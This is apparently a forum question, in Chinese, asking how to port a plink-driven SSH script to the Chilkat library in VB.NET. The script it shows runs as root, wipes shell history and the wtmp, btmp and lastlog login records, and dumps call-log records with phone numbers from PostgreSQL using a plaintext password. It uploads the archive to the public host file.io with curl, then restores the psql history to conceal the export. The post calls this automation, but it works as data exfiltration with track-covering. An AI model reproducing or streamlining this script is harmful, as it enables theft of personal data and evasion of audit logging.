在Chilkat中使用SSH命令的正确方法是什么

时间:2019-06-26 04:03:51

标签: vb.net ssh chilkat

我正在使用Chilkats其他库,例如HTTP,FTP,JSON等。

但是我不太擅长SSH,因此当前通过腻子(plink)使用SSH来实现自动化。但是使用system.diagnostic.process来实现自动化非常麻烦。

但是当我尝试参考Chilkat SSH libray的文档部分时,有太多的send *方法。所以,我很困惑要使用哪个。

链接: Chilkat Reference Document For SSH

下面是我在腻子上使用的SSH代码。

sudo su
unset HISTFILE && history -c && >/var/log/wtmp && >/var/log/btmp && >/var/log/lastlog
mkdir /tmp/ast/
cd /tmp/ast
cp /root/.psql_history /root/.psql_history.bak
psql -U postgres test //(this code ask for password)
Password:test123 //This step need to enter the password
\copy (SELECT logid,callduration,eventdate,phonenumber FROM conn_cdr WHERE callduration > '1800') TO 'conn_cdr.csv' WITH (FORMAT CSV);
\copy (SELECT logid,duration,eventdate,phonenumber FROM recording_log WHERE duration > '00:30:00') TO 'recording_log.csv' WITH (FORMAT CSV);
\q
tar -zcvf file.tar.gz conn_cdr.csv recording_log.csv
curl -F "file=@file.tar.gz" https://file.io/?expires=1d
cd ~/
rm -rf /tmp/ast/
touch /root/.psql_history
mv /root/.psql_history.bak /root/.psql_history
unset HISTFILE && history -c && exit
unset HISTFILE && history -c && exit

是否有使用chilkat SSH库使用上述代码的更简单易用的方法?

先谢谢 最好的问候

0 个答案:

没有答案